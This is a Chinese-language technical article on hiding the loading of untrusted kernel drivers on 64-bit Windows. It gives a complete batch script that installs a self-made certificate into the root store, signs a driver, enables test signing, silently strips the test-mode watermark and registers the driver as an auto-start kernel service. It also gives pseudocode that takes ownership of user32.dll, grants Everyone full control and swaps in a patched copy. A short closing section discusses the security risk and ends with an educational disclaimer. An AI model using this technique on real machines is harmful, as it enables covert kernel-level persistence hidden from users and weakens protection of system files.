自Vista起,64位版本Windows要求内核驱动必须被签名才能加载。如果开启测试模式(TestMode),则可以加载带有测试签名的驱动。但桌面右下角会有三行小字,提示当前正运行在测试模式下。本文提供一种思路,对驱动进行测试签名,并将该水印去除,从而隐蔽的加载“未签名”驱动。整个过程只需要一个批处理来实现。
cd/d%~dp0 cdTools rem生成并添加证书 makecert.exe-r-pe-ssPrivateCertStore-nCN=TestCertforWDKTestCert.cer certmgr.exe-addtestcert.cer-s-rlocalMachineroot certmgr.exe-addtestcert.cer-s-rlocalMachinetrustedpublisher rem用证书给驱动签名 SignTool.exesign/a/sPrivateCertStore../TestDriver.sys rem开启测试模式 bcdedit/settestsigningon rem移除桌面下方“测试模式”水印 RemoveWatermarkX64.exe-silent cd../
rem加载驱动
sccreateTestDriverbinPath=%~dp0TestDriver.systype=kernelstart=auto
首先我们生成一个证书,将其导入并且用它给TestDriver.sys签名。接着开启测试模式,移除桌面水印,将驱动设为自动启动。移除水印需要使用deepxw的工具RemoveWatermarkX64.exe。以-silen作为参数将不提示信息,静默运行,修改完成后自动退出。如图1所示,重启后TestDriver.sys自动加载,并监控所有新进程,此时桌面右下角没有任何水印。
不过RemoveWatermarkX64工具是如何去除桌面右下角水印的呢?逆向分析表明,User32.dll负责显示水印,而水印文本就是其中的一个字符串资源,所以只需将水印资源清空,或者直接给相关代码打补丁即可。需要注意的是,Windows7以后的版本采用了MUI技术,这些字符串资源不在User32.dll内,而是在\System32\zh-CN\User32.dll.mui内。下面给出直接PatchUser32.dll(这是RemoveWatermarkX64的默认做法)的伪代码。
ShellExecute(“takeown/fC:\Windows\System32\user32.dll”); ShellExecute(“icaclsC:\Windows\System32\user32.dll/grant%username%:F”); ShellExecute(“icaclsC:\Windows\System32\user32.dll/grant*S-1-1-0:(F)”); OriginalFile=“C:\Windows\System32\user32.dll”; CopyFile(OriginalFile,“C:\Windows\System32\user32.dll.backup”); PatchFile=“C:\Windows\System32\user32.dll.tmp”; CopyFile(OriginalFile,PatchFile); If(AlreadyPatched(PatchFile))return; ApplyPatch(PatchFile); MoveFileEx(OriginalFile,TempFile,MOVEFILE_REPLACE_EXISTING); MoveFileExA(TempFile,0,MOVEFILE_DELAY_UNTIL_REBOOT); MoveFileExA(PatchFile,OriginalFile,MOVEFILE_REPLACE_EXISTING));
由于只有TrustedInstaller账户能对User32.dll进行写操作,所以必须先用takeown和icacls命令赋予当前用户完全控制(F)权限。随后程序将User32.dll复制两份,一份作为备份,另一份用来破解。破解后,程序将原始的User32.dll移动到该卷下的一个临时文件,并且将破解后的文件移动到\System32\User32.dll,便完成了破解。读者可能会问,User32.dll正在被使用,可以移动吗?答案是肯定的,不过只能在同一个卷内移动(移到其它卷需要先复制文件,再删除旧文件,所以做不到)。如图2所示,explorer.exe装载的User32.dll变成了C:\_@4B90.tmp。这也是上述伪代码中将C:\_@4B90.tmp标记为重启删除的原因——它才真正的正在被使用,不能删除!
从系统安全角度考虑,测试模式下可以加载不可信驱动,是十分严重的威胁。但从某些论坛中的帖子来看,许多用户在看到桌面右下角的水印时,会选择用工具将其清除,而不是考虑它为什么出现、有哪些影响,更不会用bcdedit命令关闭测试模式。这就涉及“安全意识”的问题。当然,责任并不在用户身上,事实上,微软或许应该考虑通过更“严肃”的方式提醒用户潜在的危险。比如像UAC一样,在加载测试签名的驱动前询问用户是否允许。安全软件也应该更谨慎的对待测试模式,比如在为系统安全性打分时,对测试模式进行适当的罚分。以上只是我的一点体会,如有不当,还望批评指正。
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法破解行为。